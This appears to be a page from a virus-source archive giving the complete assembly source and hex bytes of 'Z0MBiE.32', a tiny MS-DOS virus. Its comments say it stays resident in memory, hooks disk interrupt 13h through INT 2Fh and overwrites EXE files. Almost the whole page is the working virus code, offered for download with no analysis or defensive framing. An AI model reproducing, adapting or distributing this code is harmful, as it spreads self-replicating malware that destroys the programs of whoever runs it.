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Source code of computer viruses

Z0MBiE.32

Virus for MS-DOS

Z0mbie
Show all viruses by this author

Description and download

32.asm

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; Z0MBiE.32
 
; - 32-byte length
; - resident, hooks INT 13 via INT 2F
; - EXE-overwriting
 
; - DOS-only
; - very unstable
 
; EXECUTABLE:
 
; CODE:
;
;   0100  B4 13 CD 2F 0E 1F BA 14-01 06 53 66 8F 06 20 01
;   0110  CD 2F CD 27 26 80 3F 4D-75 05 0E 07 BB 00 01 EA
 
; SOURCE:
                        model   tiny
                        p386
                        codeseg
 
                        org     100h
start:
                        mov     ah, 13h
                        int     2Fh
 
                        push    cs
                        pop     ds
                        lea     dx, int13
 
                        push    es
                        push    bx
 
                        pop     dword ptr old13
                      ; pop     dword ptr [edx+old13-int13]
 
                        int     2Fh
 
                      ; xchg    dx, ax
                        int     27h
 
int13:                ; cmp     ah, 03h
                      ; jne     exit13
 
                        cmp     byte ptr es:[bx], 'M'
                        jne     exit13
 
                        push    cs
                        pop     es
                        lea     bx, start
 
exit13:                 db      0EAh
 
old13                   dd      ?
 
                        end     start
 
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